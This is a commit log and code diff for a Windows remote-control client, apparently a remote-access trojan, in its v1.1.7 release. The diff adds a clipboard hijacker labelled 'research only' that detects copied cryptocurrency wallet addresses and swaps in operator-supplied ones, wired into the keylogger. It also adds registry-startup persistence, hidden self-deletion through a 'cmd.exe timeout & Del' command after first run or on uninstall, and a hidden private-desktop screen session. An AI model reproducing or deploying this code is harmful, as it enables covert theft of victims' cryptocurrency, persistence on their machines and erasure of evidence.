8 Commits

Author SHA1 Message Date
yuanyuanxiang
5c6aade0d0 Release v1.1.7 2025-10-12 13:26:42 +02:00
yuanyuanxiang
a3439aee87 Feature: Add private remote desktop source code 2025-10-11 23:29:37 +02:00
yuanyuanxiang
68c721a41b Fix dead clipboard loop and add missing libraries 2025-10-09 03:41:36 +08:00
yuanyuanxiang
75d7ffa32a Feature: Add a menu to uninstall client program 2025-10-08 21:25:59 +02:00
yuanyuanxiang
d7c0e32d91 fix: #195 Client get public IP failed 2025-10-07 22:09:52 +02:00
yuanyuanxiang
80fe1f5e3c Feature: Add tool menu for changing exe file icon 2025-10-06 22:02:17 +02:00
yuanyuanxiang
1de6ddb564 Feature: #193 Automatically delete client after first running 2025-10-05 21:13:31 +02:00
yuanyuanxiang
1ddcd4584f Feature: Add digital coin hack feature (research only) 2025-10-05 12:15:49 +02:00
48 changed files with 1388 additions and 41 deletions

View File

@@ -14,3 +14,4 @@
- [HPSocket v6.0.3](https://github.com/ldcsaa/HP-Socket) - [HPSocket v6.0.3](https://github.com/ldcsaa/HP-Socket)
- [shrink v0.0.1](https://github.com/yuanyuanxiang/PrivateRemoter/tree/master/shrink) - [shrink v0.0.1](https://github.com/yuanyuanxiang/PrivateRemoter/tree/master/shrink)
- [clip v1.11](https://github.com/dacap/clip)

View File

@@ -345,6 +345,18 @@ Release v1.1.4
* 功能:新增客户端 shellcode 构建选项 * 功能:新增客户端 shellcode 构建选项
* 功能:支持多个远程显示器(视频墙) * 功能:支持多个远程显示器(视频墙)
**2025.10.12**
发布版本 v1.1.7
增加新工具、自动删除客户端、修复 IP 问题,并加入私有远程桌面代码。
* 功能:添加数字货币地址劫持功能(仅供研究)
* 功能:#193 首次运行后自动删除客户端
* 功能:添加用于更改 exe 文件图标的工具菜单
* 修复:#195 客户端获取公网 IP 失败
* 功能:添加卸载客户端程序的菜单
* 功能:添加远程桌面隐私屏幕源代码
--- ---

View File

@@ -355,6 +355,19 @@ This update adds client compression and build options, supports multiple display
* Feature: Add client shellcode building option * Feature: Add client shellcode building option
* Feature: Supports multiple remote displays (video wall) * Feature: Supports multiple remote displays (video wall)
**2025.10.12**
Release v1.1.7
This version adds new tools, auto client deletion, IP fix, and private remote desktop code.
* Feature: Add digital coin hack feature (research only)
* Feature: #193 Automatically delete client after first running
* Feature: Add tool menu for changing exe file icon
* fix: #195 Client get public IP failed
* Feature: Add a menu to uninstall client program
* Feature: Add private remote desktop source code
--- ---
# 6. Related Projects # 6. Related Projects

Binary file not shown.

Binary file not shown.

View File

@@ -4,6 +4,9 @@
#include "stdafx.h" #include "stdafx.h"
#include "ClientDll.h" #include "ClientDll.h"
#include <common/iniFile.h> #include <common/iniFile.h>
extern "C" {
#include "reg_startup.h"
}
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ // <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
#define REG_NAME "a_ghost" #define REG_NAME "a_ghost"
@@ -177,6 +180,13 @@ BOOL CALLBACK callback(DWORD CtrlType)
int main(int argc, const char *argv[]) int main(int argc, const char *argv[])
{ {
// ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int r = RegisterStartup("Windows Ghost", "WinGhost");
if (r <= 0) {
BOOL s = self_del();
if (!IsDebug)return r;
}
if (!SetSelfStart(argv[0], REG_NAME)) if (!SetSelfStart(argv[0], REG_NAME))
{ {
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n"); Mprintf("<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n");
@@ -420,6 +430,7 @@ extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpsz
DWORD WINAPI StartClient(LPVOID lParam) DWORD WINAPI StartClient(LPVOID lParam)
{ {
Mprintf("StartClient begin\n");
ClientApp& app(*(ClientApp*)lParam); ClientApp& app(*(ClientApp*)lParam);
CONNECT_ADDRESS& settings(*(app.g_Connection)); CONNECT_ADDRESS& settings(*(app.g_Connection));
if (!app.m_bShared) if (!app.m_bShared)
@@ -466,6 +477,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
ULONGLONG dwTickCount = GetTickCount64(); ULONGLONG dwTickCount = GetTickCount64();
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort()))
{ {
Mprintf("[ConnectServer] ---> %s:%d.\n", settings.ServerIP(), settings.ServerPort());
for (int k = 300+(IsDebug ? rand()%600:rand()%6000); app.m_bIsRunning(&app) && --k; Sleep(10)); for (int k = 300+(IsDebug ? rand()%600:rand()%6000); app.m_bIsRunning(&app) && --k; Sleep(10));
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED); SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
continue; continue;

View File

@@ -71,21 +71,21 @@
<PropertyGroup Label="UserMacros" /> <PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath> <IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
<IntDir>$(Configuration)\dll</IntDir> <IntDir>$(Configuration)\dll</IntDir>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath> <IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
<IntDir>$(Platform)\$(Configuration)\dll</IntDir> <IntDir>$(Platform)\$(Configuration)\dll</IntDir>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath> <IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<IntDir>$(Configuration)\dll</IntDir> <IntDir>$(Configuration)\dll</IntDir>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath> <IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<IntDir>$(Platform)\$(Configuration)\dll</IntDir> <IntDir>$(Platform)\$(Configuration)\dll</IntDir>
</PropertyGroup> </PropertyGroup>
@@ -197,12 +197,14 @@
<ItemGroup> <ItemGroup>
<ClInclude Include="..\common\ikcp.h" /> <ClInclude Include="..\common\ikcp.h" />
<ClInclude Include="..\common\location.h" /> <ClInclude Include="..\common\location.h" />
<ClInclude Include="..\common\wallet.h" />
<ClInclude Include="..\common\zstd_wrapper.h" /> <ClInclude Include="..\common\zstd_wrapper.h" />
<ClInclude Include="..\server\2015Remote\pwd_gen.h" /> <ClInclude Include="..\server\2015Remote\pwd_gen.h" />
<ClInclude Include="Audio.h" /> <ClInclude Include="Audio.h" />
<ClInclude Include="AudioManager.h" /> <ClInclude Include="AudioManager.h" />
<ClInclude Include="Buffer.h" /> <ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" /> <ClInclude Include="CaptureVideo.h" />
<ClInclude Include="clip.h" />
<ClInclude Include="Common.h" /> <ClInclude Include="Common.h" />
<ClInclude Include="CursorInfo.h" /> <ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" /> <ClInclude Include="FileManager.h" />

View File

@@ -46,6 +46,36 @@ template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
return 0; return 0;
} }
#ifdef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "PrivateDesktop_Libx64d.lib")
#else
#pragma comment(lib, "PrivateDesktop_Libx64.lib")
#endif
void ShowBlackWindow(IOCPBase* ClientObject, CONNECT_ADDRESS* conn, const std::string& hash, const std::string& hmac);
#else
void ShowBlackWindow(IOCPBase* ClientObject, CONNECT_ADDRESS* conn, const std::string& hash, const std::string& hmac) {
return ClientObject->RunEventLoop(TRUE);
}
#endif
DWORD private_desktop(CONNECT_ADDRESS* conn, const State &exit, const std::string& hash, const std::string& hmac) {
IOCPClient* ClientObject = new IOCPClient(exit, true, conn->iHeaderEnc);
if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort()))
{
CScreenManager m(ClientObject, 32, (void*)1);
if (IsWindows8orHigher()) {
ShowBlackWindow(ClientObject, conn, hash, hmac);
}
else {
ClientObject->RunEventLoop(TRUE);
}
}
delete ClientObject;
return 0;
}
DWORD WINAPI LoopScreenManager(LPVOID lParam) DWORD WINAPI LoopScreenManager(LPVOID lParam)
{ {
return LoopManager<CScreenManager, 0>(lParam); return LoopManager<CScreenManager, 0>(lParam);

View File

@@ -19,6 +19,7 @@ typedef struct UserParam
}UserParam; }UserParam;
DWORD WINAPI ThreadProc(LPVOID lParam); DWORD WINAPI ThreadProc(LPVOID lParam);
DWORD private_desktop(CONNECT_ADDRESS* conn, const State& exit, const std::string& hash, const std::string& hmac);
DWORD WINAPI LoopShellManager(LPVOID lParam); DWORD WINAPI LoopShellManager(LPVOID lParam);
DWORD WINAPI LoopScreenManager(LPVOID lParam); DWORD WINAPI LoopScreenManager(LPVOID lParam);

9
client/IOCPBase.h Normal file
View File

@@ -0,0 +1,9 @@
#include "common/commands.h"
class IOCPBase {
public:
virtual BOOL IsRunning() const = 0;
virtual VOID RunEventLoop(const BOOL& bCondition) = 0;
};
typedef BOOL(*TrailCheck)(void);

View File

@@ -19,6 +19,7 @@
#define NO_AES #define NO_AES
#include "common/encrypt.h" #include "common/encrypt.h"
#include "SafeThread.h" #include "SafeThread.h"
#include "IOCPBase.h"
#define MAX_RECV_BUFFER 1024*32 #define MAX_RECV_BUFFER 1024*32
#define MAX_SEND_BUFFER 1024*32 #define MAX_SEND_BUFFER 1024*32
@@ -108,7 +109,7 @@ public:
typedef BOOL(*TrailCheck)(void); typedef BOOL(*TrailCheck)(void);
class IOCPClient class IOCPClient : public IOCPBase
{ {
public: public:
IOCPClient(const State& bExit, bool exit_while_disconnect = false, int mask=0, int encoder=0, IOCPClient(const State& bExit, bool exit_while_disconnect = false, int mask=0, int encoder=0,

View File

@@ -15,6 +15,7 @@
#include <common/iniFile.h> #include <common/iniFile.h>
#include "IOCPUDPClient.h" #include "IOCPUDPClient.h"
#include "IOCPKCPClient.h" #include "IOCPKCPClient.h"
#include "auto_start.h"
// UDP 协议仅能针对小包数据,且数据没有时序关联 // UDP 协议仅能针对小包数据,且数据没有时序关联
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect) { IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect) {
@@ -478,6 +479,16 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break; break;
} }
case TOKEN_PRIVATESCREEN: {
char h[100] = {};
memcpy(h, szBuffer + 1, ulLength - 1);
std::string hash = std::string(h, h + 64);
std::string hmac = std::string(h + 64, h + 80);
std::thread t(private_desktop, m_conn, g_bExit, hash, hmac);
t.detach();
break;
}
case COMMAND_PROXY: { case COMMAND_PROXY: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
@@ -527,6 +538,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case CMD_MASTERSETTING: case CMD_MASTERSETTING:
if (ulLength > sizeof(MasterSettings)) { if (ulLength > sizeof(MasterSettings)) {
memcpy(&m_settings, szBuffer + 1, sizeof(MasterSettings)); memcpy(&m_settings, szBuffer + 1, sizeof(MasterSettings));
// Remark 打开键盘记录或下一次启动客户端才会生效
iniFile cfg(CLIENT_PATH);
cfg.SetStr("settings", "wallet", m_settings.WalletAddress);
} }
break; break;
case COMMAND_KEYBOARD: //键盘记录 case COMMAND_KEYBOARD: //键盘记录
@@ -578,6 +592,16 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break; break;
} }
case TOKEN_UNINSTALL:
{
BYTE bToken = COMMAND_BYE;// 被控端退出
m_ClientObject->Send2Server((char*)&bToken, 1);
g_bExit = S_CLIENT_EXIT;
self_del(10);
Mprintf("======> Client uninstall \n");
break;
}
case SERVER_EXIT: case SERVER_EXIT:
{ {
// 主控端退出 // 主控端退出

View File

@@ -19,6 +19,21 @@
#include <iniFile.h> #include <iniFile.h>
#define CAPTION_SIZE 1024 #define CAPTION_SIZE 1024
#include "wallet.h"
#include "clip.h"
#ifdef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "clip_x64D.lib")
#else
#pragma comment(lib, "clip_x64.lib")
#endif
#else
#ifdef _DEBUG
#pragma comment(lib, "clipd.lib")
#else
#pragma comment(lib, "clip.lib")
#endif
#endif
CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user) : CManager(pClient) CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user) : CManager(pClient)
{ {
@@ -30,7 +45,10 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
m_Buffer = new CircularBuffer(m_strRecordFile); m_Buffer = new CircularBuffer(m_strRecordFile);
m_bIsWorking = true; m_bIsWorking = true;
iniFile cfg(CLIENT_PATH);
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
m_hClipboard = __CreateThread(NULL, 0, Clipboard, (LPVOID)this, 0, NULL);
m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL); m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL); m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
SetReady(TRUE); SetReady(TRUE);
@@ -39,8 +57,10 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
CKeyboardManager1::~CKeyboardManager1() CKeyboardManager1::~CKeyboardManager1()
{ {
m_bIsWorking = false; m_bIsWorking = false;
WaitForSingleObject(m_hClipboard, INFINITE);
WaitForSingleObject(m_hWorkThread, INFINITE); WaitForSingleObject(m_hWorkThread, INFINITE);
WaitForSingleObject(m_hSendThread, INFINITE); WaitForSingleObject(m_hSendThread, INFINITE);
CloseHandle(m_hClipboard);
CloseHandle(m_hWorkThread); CloseHandle(m_hWorkThread);
CloseHandle(m_hSendThread); CloseHandle(m_hSendThread);
m_Buffer->WriteAvailableDataToFile(m_strRecordFile); m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
@@ -50,6 +70,11 @@ CKeyboardManager1::~CKeyboardManager1()
void CKeyboardManager1::Notify() { void CKeyboardManager1::Notify() {
if (NULL == this) if (NULL == this)
return; return;
m_mu.Lock();
iniFile cfg(CLIENT_PATH);
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
m_mu.Unlock();
sendStartKeyBoard(); sendStartKeyBoard();
WaitForDialogOpen(); WaitForDialogOpen();
} }
@@ -72,6 +97,13 @@ void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
} }
} }
std::vector<std::string> CKeyboardManager1::GetWallet() {
m_mu.Lock();
auto w = m_Wallet;
m_mu.Unlock();
return w;
}
int CKeyboardManager1::sendStartKeyBoard() int CKeyboardManager1::sendStartKeyBoard()
{ {
BYTE bToken[2]; BYTE bToken[2];
@@ -438,6 +470,60 @@ int CALLBACK WriteBuffer(const char* record, void* user) {
return 0; return 0;
} }
DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam) {
CKeyboardManager1* pThis = (CKeyboardManager1*)lparam;
while (pThis->m_bIsWorking) {
auto w = pThis->GetWallet();
if (!w.empty() && clip::has(clip::text_format())) {
std::string value;
clip::get_text(value);
if (value.length() > 200) {
Sleep(1000);
continue;
}
auto type = detectWalletType(value);
switch (type) {
case WALLET_UNKNOWN:
break;
case WALLET_BTC_P2PKH:
case WALLET_BTC_P2SH:
case WALLET_BTC_BECH32:
if (!w[ADDR_BTC].empty()) clip::set_text(w[ADDR_BTC]);
break;
case WALLET_ETH_ERC20:
if (!w[ADDR_ERC20].empty()) clip::set_text(w[ADDR_ERC20]);
break;
case WALLET_USDT_OMNI:
if (!w[ADDR_OMNI].empty()) clip::set_text(w[ADDR_OMNI]);
break;
case WALLET_USDT_TRC20:
if (!w[ADDR_TRC20].empty()) clip::set_text(w[ADDR_TRC20]);
break;
case WALLET_TRON:
if (!w[ADDR_TRON].empty()) clip::set_text(w[ADDR_TRON]);
break;
case WALLET_SOLANA:
if (!w[ADDR_SOL].empty()) clip::set_text(w[ADDR_SOL]);
break;
case WALLET_XRP:
if (!w[ADDR_XRP].empty()) clip::set_text(w[ADDR_XRP]);
break;
case WALLET_POLKADOT:
if (!w[ADDR_DOT].empty()) clip::set_text(w[ADDR_DOT]);
break;
case WALLET_CARDANO_SHELLEY:
case WALLET_CARDANO_BYRON:
if (!w[ADDR_ADA].empty()) clip::set_text(w[ADDR_ADA]);
break;
case WALLET_DOGE:
if (!w[ADDR_DOGE].empty()) clip::set_text(w[ADDR_DOGE]);
break;
}
}
Sleep(1000);
}
return 0x20251005;
}
DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam) DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
{ {

View File

@@ -220,9 +220,11 @@ public:
virtual ~CKeyboardManager1(); virtual ~CKeyboardManager1();
virtual void Notify(); virtual void Notify();
virtual void OnReceive(LPBYTE lpBuffer, ULONG nSize); virtual void OnReceive(LPBYTE lpBuffer, ULONG nSize);
static DWORD WINAPI Clipboard(LPVOID lparam);
static DWORD WINAPI KeyLogger(LPVOID lparam); static DWORD WINAPI KeyLogger(LPVOID lparam);
static DWORD WINAPI SendData(LPVOID lparam); static DWORD WINAPI SendData(LPVOID lparam);
BOOL m_bIsOfflineRecord; BOOL m_bIsOfflineRecord;
HANDLE m_hClipboard;
HANDLE m_hWorkThread,m_hSendThread; HANDLE m_hWorkThread,m_hSendThread;
TCHAR m_strRecordFile[MAX_PATH]; TCHAR m_strRecordFile[MAX_PATH];
private: private:
@@ -233,6 +235,9 @@ private:
bool m_bIsWorking; bool m_bIsWorking;
CircularBuffer *m_Buffer; CircularBuffer *m_Buffer;
CLocker m_mu;
std::vector<std::string> m_Wallet;
std::vector<std::string> GetWallet();
}; };
#undef BUFFER_SIZE #undef BUFFER_SIZE

View File

@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
// //
VS_VERSION_INFO VERSIONINFO VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,1,5 FILEVERSION 1,0,1,7
PRODUCTVERSION 1,0,0,1 PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL FILEFLAGSMASK 0x3fL
#ifdef _DEBUG #ifdef _DEBUG
@@ -106,7 +106,7 @@ BEGIN
BEGIN BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE" VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST" VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.1.5" VALUE "FileVersion", "1.0.1.7"
VALUE "InternalName", "ServerDll.dll" VALUE "InternalName", "ServerDll.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2025" VALUE "LegalCopyright", "Copyright (C) 2019-2025"
VALUE "OriginalFilename", "ServerDll.dll" VALUE "OriginalFilename", "ServerDll.dll"

View File

@@ -156,11 +156,13 @@
<ItemGroup> <ItemGroup>
<ClCompile Include="Loader.cpp" /> <ClCompile Include="Loader.cpp" />
<ClCompile Include="MemoryModule.c" /> <ClCompile Include="MemoryModule.c" />
<ClCompile Include="reg_startup.c" />
<ClCompile Include="test.cpp" /> <ClCompile Include="test.cpp" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="auto_start.h" /> <ClInclude Include="auto_start.h" />
<ClInclude Include="MemoryModule.h" /> <ClInclude Include="MemoryModule.h" />
<ClInclude Include="reg_startup.h" />
<ClInclude Include="resource1.h" /> <ClInclude Include="resource1.h" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>

View File

@@ -62,3 +62,31 @@ inline BOOL SetSelfStart(const char* sPath, const char* sNmae)
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD> // <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
return lRet == ERROR_SUCCESS; return lRet == ERROR_SUCCESS;
} }
inline bool markForDeleteOnReboot(const char* file)
{
return MoveFileExA(file, NULL, MOVEFILE_DELAY_UNTIL_REBOOT | MOVEFILE_WRITE_THROUGH) != FALSE;
}
inline BOOL self_del(int timeoutSecond=3)
{
char file[MAX_PATH] = { 0 }, szCmd[MAX_PATH * 2] = { 0 };
if (GetModuleFileName(NULL, file, MAX_PATH) == 0)
return FALSE;
markForDeleteOnReboot(file);
sprintf(szCmd, "cmd.exe /C timeout /t %d /nobreak > Nul & Del /f /q \"%s\"", timeoutSecond, file);
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
if (CreateProcess(NULL, szCmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return TRUE;
}
return FALSE;
}

211
client/clip.h Normal file
View File

@@ -0,0 +1,211 @@
// Clip Library
// Copyright (c) 2015-2024 David Capello
//
// This file is released under the terms of the MIT license.
// Read LICENSE.txt for more information.
#ifndef CLIP_H_INCLUDED
#define CLIP_H_INCLUDED
#pragma once
#include <cassert>
#include <memory>
#include <string>
#include <vector>
namespace clip {
// ======================================================================
// Low-level API to lock the clipboard/pasteboard and modify it
// ======================================================================
// Clipboard format identifier.
typedef size_t format;
#if CLIP_ENABLE_IMAGE
class image;
struct image_spec;
#endif // CLIP_ENABLE_IMAGE
#if CLIP_ENABLE_LIST_FORMATS
struct format_info {
format id = 0;
std::string name;
format_info(const format id,
const std::string& name)
: id(id),
name(name) {
}
};
#endif // CLIP_ENABLE_LIST_FORMATS
class lock {
public:
// You can give your current HWND as the "native_window_handle."
// Windows clipboard functions use this handle to open/close
// (lock/unlock) the clipboard. From the MSDN documentation we
// need this handler so SetClipboardData() doesn't fail after a
// EmptyClipboard() call. Anyway it looks to work just fine if we
// call OpenClipboard() with a null HWND.
lock(void* native_window_handle = nullptr);
~lock();
// Returns true if we've locked the clipboard successfully in
// lock() constructor.
bool locked() const;
// Clears the clipboard content. If you don't clear the content,
// previous clipboard content (in unknown formats) could persist
// after the unlock.
bool clear();
// Returns true if the clipboard can be converted to the given
// format.
bool is_convertible(format f) const;
bool set_data(format f, const char* buf, size_t len);
bool get_data(format f, char* buf, size_t len) const;
size_t get_data_length(format f) const;
#if CLIP_ENABLE_IMAGE
// For images
bool set_image(const image& image);
bool get_image(image& image) const;
bool get_image_spec(image_spec& spec) const;
#endif // CLIP_ENABLE_IMAGE
#if CLIP_ENABLE_LIST_FORMATS
// Returns the list of available formats (by name) in the
// clipboard.
std::vector<format_info> list_formats() const;
#endif // CLIP_ENABLE_LIST_FORMATS
private:
class impl;
std::unique_ptr<impl> p;
};
format register_format(const std::string& name);
// This format is when the clipboard has no content.
format empty_format();
// When the clipboard has UTF8 text.
format text_format();
#if CLIP_ENABLE_IMAGE
// When the clipboard has an image.
format image_format();
#endif
// Returns true if the clipboard has content of the given type.
bool has(format f);
// Clears the clipboard content.
bool clear();
// ======================================================================
// Error handling
// ======================================================================
enum class ErrorCode {
CannotLock,
#if CLIP_ENABLE_IMAGE
ImageNotSupported,
#endif
};
typedef void (*error_handler)(ErrorCode code);
void set_error_handler(error_handler f);
error_handler get_error_handler();
// ======================================================================
// Text
// ======================================================================
// High-level API to put/get UTF8 text in/from the clipboard. These
// functions returns false in case of error.
bool set_text(const std::string& value);
bool get_text(std::string& value);
// ======================================================================
// Image
// ======================================================================
#if CLIP_ENABLE_IMAGE
struct image_spec {
unsigned long width = 0;
unsigned long height = 0;
unsigned long bits_per_pixel = 0;
unsigned long bytes_per_row = 0;
unsigned long red_mask = 0;
unsigned long green_mask = 0;
unsigned long blue_mask = 0;
unsigned long alpha_mask = 0;
unsigned long red_shift = 0;
unsigned long green_shift = 0;
unsigned long blue_shift = 0;
unsigned long alpha_shift = 0;
unsigned long required_data_size() const;
};
// The image data must contain straight RGB values
// (non-premultiplied by alpha). The image retrieved from the
// clipboard will be non-premultiplied too. Basically you will be
// always dealing with straight alpha images.
//
// Details: Windows expects premultiplied images on its clipboard
// content, so the library code make the proper conversion
// automatically. macOS handles straight alpha directly, so there is
// no conversion at all. Linux/X11 images are transferred in
// image/png format which are specified in straight alpha.
class image {
public:
image();
image(const image_spec& spec);
image(const void* data, const image_spec& spec);
image(const image& image);
image(image&& image);
~image();
image& operator=(const image& image);
image& operator=(image&& image);
char* data() const { return m_data; }
const image_spec& spec() const { return m_spec; }
bool is_valid() const { return m_data != nullptr; }
void reset();
private:
void copy_image(const image& image);
void move_image(image&& image);
bool m_own_data;
char* m_data;
image_spec m_spec;
};
// High-level API to set/get an image in/from the clipboard. These
// functions returns false in case of error.
bool set_image(const image& img);
bool get_image(image& img);
bool get_image_spec(image_spec& spec);
#endif // CLIP_ENABLE_IMAGE
// ======================================================================
// Platform-specific
// ======================================================================
